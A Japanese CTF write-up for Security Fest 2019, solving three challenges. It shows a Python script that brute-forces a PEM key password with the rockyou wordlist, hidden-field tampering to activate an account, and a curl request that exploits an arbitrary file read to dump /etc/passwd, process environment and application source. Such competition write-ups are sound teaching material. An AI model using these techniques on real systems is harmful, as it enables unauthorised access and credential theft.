この大会は2019/5/23 0:00(JST)~2019/5/24 0:00(JST)に開催されました。
今回もチームで参戦。結果は1893点で465チーム中24位でした。
自分で解けた問題をWriteupとして書いておきます。
Sanity check (warmup, misc)
freenodeで#securityfest-ctfチャネルに入ると、フラグが書いてあった。
sctf{securityfestctf_2019}
Darkwebmessageboard (crypto, osint, web)
問題のURLにアクセスし、HTMLソースを見ると、コメントにこう書いてある。
<!-- | Dark Web Message Board | DEVELOPED BY K1tsCr3w | Open source at Kits-AB | -->
OpenSource上にソースがあると踏んで、このコメントをもとに検索してみると、以下の場所にソースがあることがわかった。
https://github.com/kits-ab/the-dark-message-board
app.pyに以下の記載がある。
@app.route("/boards/<id>") def board(id): posts = [] if int(id) == 1: posts = Post.select() return render_template("board.html", posts=posts)
以下のURLでメッセージボードが見れることがわかる。
http://darkboard-01.pwn.beer:5001/boards/1
メッセージボードの最下部に暗号メッセージが掲載されている。これを復号できればよさそう。
rW+fOddzrtdP7ufLj9KTQa9W8T9JhEj7a2AITFA4a2UbeEAtV/ocxB/t4ikLCMsThUXXWz+UFnyXzgLgD9RM+2toOvWRiJPBM2ASjobT+bLLi31F2M3jPfqYK1L9NCSMcmpVGs+OZZhzJmTbfHLdUcDzDwdZcjKcGbwEGlL6Z7+CbHD7RvoJk7Ft3wvFZ7PWIUHPneVAsAglOalJQCyWKtkksy9oUdDfCL9yvLDV4H4HoXGfQwUbLJL4Qx4hXHh3fHDoplTqYdkhi/5E4l6HO0Qh/jmkNLuwUyhcZVnFMet1vK07ePAuu7kkMe6iZ8FNtmluFlLnrlQXrE74Z2vHbQ==
https://github.com/kits-ab/the-dark-message-board/blob/master/tests/test_crypto.pyを使って暗号化しているようだが、そのまま利用するだけでは復号できない。別の秘密鍵を使っているようだ。
そこでgithub上のCommitsの履歴を見てみる。この履歴の中に「removed the production key, luckily it was encrypted with a password …」というのがある。
これを見ると、以下の内容のEncryption.txtが削除されていたことがわかる。
PEM_PRIVATE_KEY=b"""-----BEGIN ENCRYPTED PRIVATE KEY----- MIIFLTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQIF+TK17Q9CAsCAggA MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAEqBBCebicNIgfA441g2E3t3z/oBIIE 0OAMyvjZ8MaFDLJzuzDY3RWHP0IHWiHoCBNxPJWySon/tLXoizSbsj8EKtgA0MpE vORC4QdnKg7bqplAAXfSIRli9Hb7RcuMpKv5buW3/Oh/th8NWWM9LOQOBAO0svlR pJhA5hZSKEgEJMd1E77mjv29gHMEzRgXvAsTOZXhgbbtPnIkQGPXZq4hXyhy0VBt 9cCevKYLgVFahIARjejN+KErNiSN0f76mc62wunum+J6uGtk/HYZ00ZsFcf/0x7B O/8hrFsliAg+2izNLVWy/+b1oCkuaMIEZ0zXjse3iZirSmWs6F5tFGh2w5lnJB1G hJAqTjhHdvPWpwiyTw4nCG7+FDd3v1Ih+v8Qq9evlkYg1rdwh13ymGcfko3y7p2l SuQsJ94i5NEv4acgIE70fqXrwzbSlc+QB5RtKexMj0NxWCySe9seLQP9fbCxp6Ci a8mHS/4hF7hBbH984QJxy7aqt+U/xLQrKkkp2Lf0KYfthmiS13e7ZEtNSzd3dxZv eVnDNSzEh/ty/+yt5bx58AlmhNigkaPX+KrTYt1KgQBrgYyk/YNEWK8GE0Sq/4KL uEiIa0mpbn9je7szIA9egwjIqLWasBoG1HOb5dOu/azhVoM8mheEik/FQLHhgZlo ZoFY8Rb3jO3Mv/sod1tQE6IteAkBsfXGT8QNaJHMAjmf96aNA8y0bStpHm1ZzpzW qX3xcr6bDAt4olonDZ1DNTZh4AnSCnKM8LM6kwwY0r8q13EHJ2Ek6L0Vh+BiIeNw 7Q/jQ1thXzrYv9e5KU5TmvZAvtXoqcUCmI2ehnOq6xmir07g4tPQIHyolbY8EHw1 r/mb3me1+8lPdvjKSCM/LqI04h3GPkfnXWwPwlBL4sd5mnKRunLHcnLDu2AVRE+R r8DvGGIMNr+LZjxZIdjhMraR6VSSTXX028Lamz40ZY9gn3vQWeIJAi0S7g/TW+TJ RwXGW5gmLfbzlkzgvXPRPfjk9EeBtcS4Pj7q2QIrrAdZZFCC4z5uRGmMHC/tv2/p IYpV2kClKcnNuPvQSreJXB18GJo1VJU/o78/Hi/cr1atiERM38gP1FYk08vcwjwT Av62VWaTXsuAsOzS/fjmSsyAlv0LN8pNJ6j3uvk+bOrbKS4V7aM0oHDhLtlJThN5 dagcklxP1VgRAXQPdGUz1oEZzoKezPxq2mJCj8QAPZFkat5mRzbUum0aAr3Yn7Vq KLGrILx8p4sToqfiKMnayU/QCpgifgJbMun9pSvdOC40b8xUIeuN0PlIkLueA4Mu o4pbU2inYbC+vEB3c1fHaki+Z0+jUuHyIWtEBJOD6VNYx1LU3HY6T7eV8t/8oJxi LZCxhon+/R9kEgJO0ofp0362pFm5i1V1afzjFMAhFK4khFNdZJ6rJLrymg1ueCsx sxSv8x8EA/ZykDJs4M/E5eSiZI9ZmrCsIrUXZ7QGjguqHXnHi7wsO3RSa2c8Bl+t +SYlmqK5U55yHZ23rJIS/XNIaMB+mX0CHnx/+rohABcueD7Hz7Q0OHP34NuPwK3x NAx6x4Yfrw2SiYd0Nj15N8oexI+u6/tahCL2obap9S1Y7zibfNgJs4d2yi3F3A+w Fe+whD+k+txSfs6w50MFgI4JG2Hu6dLtdQC5FSyOAYDJ -----END ENCRYPTED PRIVATE KEY-----"""
これに置き換えるだけでは、復号できず、pemのパスワードが間違っているというエラーが出る。先ほどの履歴の「removed the production key, luckily it was encrypted with a password …」の下に「…from some file that reminds me of the song 'here i am something like a hurricane'」と書いてあるので、インターネット上を調べる。すると、Rock Youというキーワードが引っかかる。そこでrockyou.txtでpemパスワードのブルートフォースで、復号を試す。
from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric import rsa, padding from cryptography.hazmat.primitives import serialization, hashes import base64 import unittest PEM_PRIVATE_KEY = '''-----BEGIN ENCRYPTED PRIVATE KEY----- MIIFLTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQIF+TK17Q9CAsCAggA MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAEqBBCebicNIgfA441g2E3t3z/oBIIE 0OAMyvjZ8MaFDLJzuzDY3RWHP0IHWiHoCBNxPJWySon/tLXoizSbsj8EKtgA0MpE vORC4QdnKg7bqplAAXfSIRli9Hb7RcuMpKv5buW3/Oh/th8NWWM9LOQOBAO0svlR pJhA5hZSKEgEJMd1E77mjv29gHMEzRgXvAsTOZXhgbbtPnIkQGPXZq4hXyhy0VBt 9cCevKYLgVFahIARjejN+KErNiSN0f76mc62wunum+J6uGtk/HYZ00ZsFcf/0x7B O/8hrFsliAg+2izNLVWy/+b1oCkuaMIEZ0zXjse3iZirSmWs6F5tFGh2w5lnJB1G hJAqTjhHdvPWpwiyTw4nCG7+FDd3v1Ih+v8Qq9evlkYg1rdwh13ymGcfko3y7p2l SuQsJ94i5NEv4acgIE70fqXrwzbSlc+QB5RtKexMj0NxWCySe9seLQP9fbCxp6Ci a8mHS/4hF7hBbH984QJxy7aqt+U/xLQrKkkp2Lf0KYfthmiS13e7ZEtNSzd3dxZv eVnDNSzEh/ty/+yt5bx58AlmhNigkaPX+KrTYt1KgQBrgYyk/YNEWK8GE0Sq/4KL uEiIa0mpbn9je7szIA9egwjIqLWasBoG1HOb5dOu/azhVoM8mheEik/FQLHhgZlo ZoFY8Rb3jO3Mv/sod1tQE6IteAkBsfXGT8QNaJHMAjmf96aNA8y0bStpHm1ZzpzW qX3xcr6bDAt4olonDZ1DNTZh4AnSCnKM8LM6kwwY0r8q13EHJ2Ek6L0Vh+BiIeNw 7Q/jQ1thXzrYv9e5KU5TmvZAvtXoqcUCmI2ehnOq6xmir07g4tPQIHyolbY8EHw1 r/mb3me1+8lPdvjKSCM/LqI04h3GPkfnXWwPwlBL4sd5mnKRunLHcnLDu2AVRE+R r8DvGGIMNr+LZjxZIdjhMraR6VSSTXX028Lamz40ZY9gn3vQWeIJAi0S7g/TW+TJ RwXGW5gmLfbzlkzgvXPRPfjk9EeBtcS4Pj7q2QIrrAdZZFCC4z5uRGmMHC/tv2/p IYpV2kClKcnNuPvQSreJXB18GJo1VJU/o78/Hi/cr1atiERM38gP1FYk08vcwjwT Av62VWaTXsuAsOzS/fjmSsyAlv0LN8pNJ6j3uvk+bOrbKS4V7aM0oHDhLtlJThN5 dagcklxP1VgRAXQPdGUz1oEZzoKezPxq2mJCj8QAPZFkat5mRzbUum0aAr3Yn7Vq KLGrILx8p4sToqfiKMnayU/QCpgifgJbMun9pSvdOC40b8xUIeuN0PlIkLueA4Mu o4pbU2inYbC+vEB3c1fHaki+Z0+jUuHyIWtEBJOD6VNYx1LU3HY6T7eV8t/8oJxi LZCxhon+/R9kEgJO0ofp0362pFm5i1V1afzjFMAhFK4khFNdZJ6rJLrymg1ueCsx sxSv8x8EA/ZykDJs4M/E5eSiZI9ZmrCsIrUXZ7QGjguqHXnHi7wsO3RSa2c8Bl+t +SYlmqK5U55yHZ23rJIS/XNIaMB+mX0CHnx/+rohABcueD7Hz7Q0OHP34NuPwK3x NAx6x4Yfrw2SiYd0Nj15N8oexI+u6/tahCL2obap9S1Y7zibfNgJs4d2yi3F3A+w Fe+whD+k+txSfs6w50MFgI4JG2Hu6dLtdQC5FSyOAYDJ -----END ENCRYPTED PRIVATE KEY-----''' ENCRYPTED_MESSAGE=('rW+fOddzrtdP7ufLj9KTQa9W8T9JhEj7a2AITFA4a2UbeEAtV/ocxB/t4ikLCMsThUXXWz+UFnyXz' 'gLgD9RM+2toOvWRiJPBM2ASjobT+bLLi31F2M3jPfqYK1L9NCSMcmpVGs+OZZhzJmTbfHLdUcDzDwdZcjKcGbwE' 'GlL6Z7+CbHD7RvoJk7Ft3wvFZ7PWIUHPneVAsAglOalJQCyWKtkksy9oUdDfCL9yvLDV4H4HoXGfQwUbLJL4Qx4' 'hXHh3fHDoplTqYdkhi/5E4l6HO0Qh/jmkNLuwUyhcZVnFMet1vK07ePAuu7kkMe6iZ8FNtmluFlLnrlQXrE74Z2vHbQ==') DEFAULT_PADDING=padding.OAEP( mgf=padding.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(), label=None ) def decryption(pem_password): try: private_key = serialization.load_pem_private_key( PEM_PRIVATE_KEY, password=pem_password, backend=default_backend() ) plaintext = private_key.decrypt( base64.b64decode(ENCRYPTED_MESSAGE.encode('utf-8')), DEFAULT_PADDING ) print 'PEM PASSWORD =', pem_password print plaintext return True except: return False if __name__ == '__main__': with open('dict/rockyou.txt', 'r') as f: words = f.read() words = words.split('\n') for word in words: if decryption(word): break
実行結果は以下の通り。
PEM PASSWORD = falloutboy Bank url: http://bankofsweden-01.pwn.beer
問題文に書かれている通り、ポートを5000にしてアクセスする。
http://bankofsweden-01.pwn.beer:5000
アカウントを作成するが、Activateできない。is_activateのhidden属性が空になっているので、trueにしてpostすると、ログインできるようになる。ただ、ここからはしばらく考えたがわからず、チームメンバに助けてもらった。
ログインしたページの中にexport機能があり、それを実行すると、以下のエラーが出る。
Could not open file 4341114.csv, reason [Errno 2] No such file or directory: '4341114.csv'
LFI系の脆弱性がありそう。
$ curl 'http://bankofsweden-01.pwn.beer:5000/dashboard/dataportability/export' -H 'Cookie: session=.eJwdzjsOwjAMANC7ZO7gT2I7vUzlOI5gbemEuDuICzy9dznWmdej7K_zzq0cz1n24k5NOcVWZQWkZE0I75Mas-BcwYQ1qsaQHNmNJjcFbsLaJWgt5GwdmJyGAphH2phO9aeQt4lYnUVwcTQbHYMZWQCoL1ezspX7yvOfIcPPFzf6Lb4.XOaMCw.AZW0GSK1GSOy-spMUyw4_ZrAYqU' --data 'account=/etc/passwd'
これで/etc/passwdの内容が見れた。同様に他のファイルを見ていく。
### /proc/self/environ ### PYTHONUNBUFFERED=1 LANG=C.UTF-8 HOSTNAME=78135dc621a9 GPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421D PWD=/home/bos/ctf HOME=/home/bos PYTHON_VERSION=3.7.3 SHLVL=1 PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin PYTHON_PIP_VERSION=19.1.1 _=/home/bos/.local/bin/gunicorn ### /proc/self/cmdline ### /usr/local/bin/python/home/bos/.local/bin/gunicorn--bind0.0.0.0:5000-w4app:app
環境変数からカレントディレクトリが /home/bos/ctf で、実行されているプロセスが /usr/local/bin/python/home/bos/.local/bin/gunicorn --bind 0.0.0.0:5000 -w4 app:app なので、/home/bos/ctf/app.py というファイルがあると推測できる。
### /home/bos/ctf/app.py ### #!/usr/bin/python import sys import os from urllib.request import urlopen from model import init_database, Account, Transactions, db from flask import request, render_template, Flask, flash, redirect, url_for import flask_login init_database() app = Flask(__name__) app.secret_key = "VRvzHowHabQYHTD3@YG+.kWeKM@UY_Q}" login_manager = flask_login.LoginManager() login_manager.init_app(app) login_manager.login_view = "/login" @login_manager.user_loader def load_user(user_email): return Account.get_or_none(Account.id == user_email) @app.route("/") def index(): return render_template("index.html") @app.route("/login", methods=['GET', 'POST']) def login(): message = "" if request.method == "POST": username = request.form.get("username") password = request.form.get("password") try: account = Account.get(Account.email == username) if account.password == password: if account.active == 1: flask_login.login_user(account) return redirect(url_for('index')) message = "Account is not active...." else: message = "Passwords did not match..." except Exception as e: message = "Mainframe could not locate you..." return render_template("login.html", message=message) @app.route("/register", methods=['GET', 'POST']) def register(): if request.method == "POST": firstname = request.form.get("firstname") lastname = request.form.get("lastname") profession = request.form.get("profession") purpose = request.form.get("purpose") email = request.form.get("email") password = request.form.get("password") active = request.form.get("is_active") country = request.form.get("country") with db.atomic(): pk = Account.insert(firstname=firstname,lastname=lastname, profession=profession,purpose=purpose, email=email,password=password,active=active,country=country).execute() if pk: flash('You were successfully registered') return redirect(url_for('login')) else: flash('Something went wrong registrating your account') return render_template("register.html") @app.route("/logout") @flask_login.login_required def logout(): flask_login.logout_user() return redirect(url_for("index")) @app.route("/dashboard") @flask_login.login_required def dashboard(): return render_template("dashboard.html") @app.route("/dashboard/dataportability/import", methods=['GET', 'POST']) @flask_login.login_required def dataportability_import(): flag = "" error = "" if request.method == "POST": url = f'{request.form.get("url").replace("127.0.0.1", "")}/flag' if "localhost" in url: error = "Detected a possible hack. Using localhost is forbidden." elif url == "http://127.0.0.1/flag": flag = "SECFEST{h4ck3r5_60nn4_h4ck_4nd_b4nk3r5_60nn4_cr4ck}" else: try: u = urlopen(url, timeout=2) error = "This does not look like a banking site?" except Exception as e: error = f"Could not contact {url}, Reason: {e}" return render_template("import.html", flag=flag, error=error) @app.route("/dashboard/dataportability/export", methods=['GET', 'POST']) @flask_login.login_required def dataportability_export(): content = "" error = "" if request.method == "POST": account = request.form.get("account") try: with open(account, 'r', encoding='latin-1') as file: content = file.read() except Exception as e: error = f"Could not open file {account}, reason {e}" return render_template("export.html", file_content=content, error=error) @app.route("/dashboard/transactions/<int:user_id>", methods=['GET', 'POST']) @flask_login.login_required def view_transactions(user_id): error = "" message = "" if request.method == "POST": to_account = request.form.get("toaccount") amount = int(request.form.get("amount")) to_user = Account.get_or_none(Account.account_number == to_account) if to_user: acc = flask_login.current_user if amount <= acc.balance: current_amount = acc.balance - amount acc.balance=current_amount acc.save() to_user.balance += amount to_user.save() Transactions.insert(from_acc=acc.id, to_acc=to_user.id, amount=amount).execute() message = f"You successfully sent {amount} SEK to account number \"{to_account}\"!" else: error = "You are trying send more money than what you own..." else: error = "That account number does not exist..." trans = Transactions.select().join(Account, on=(Account.id == user_id)).where((Transactions.from_acc == user_id) | (Transactions.to_acc == user_id)).order_by(Transactions.created.desc()) else: trans = Transactions.select().join(Account, on=(Account.id == user_id)).where((Transactions.from_acc == user_id) | (Transactions.to_acc == user_id)).order_by(Transactions.created.desc()) return render_template("transactions.html", transactions=trans, error=error, message=message) if __name__ == "__main__": if os.environ.get("FLASK_DEBUG"): app.run(debug=True) else: app.run()
よく見ると、このソースコード中にフラグが書いてあった。
flag = "SECFEST{h4ck3r5_60nn4_h4ck_4nd_b4nk3r5_60nn4_cr4ck}"
h4ck3r5_60nn4_h4ck_4nd_b4nk3r5_60nn4_cr4ck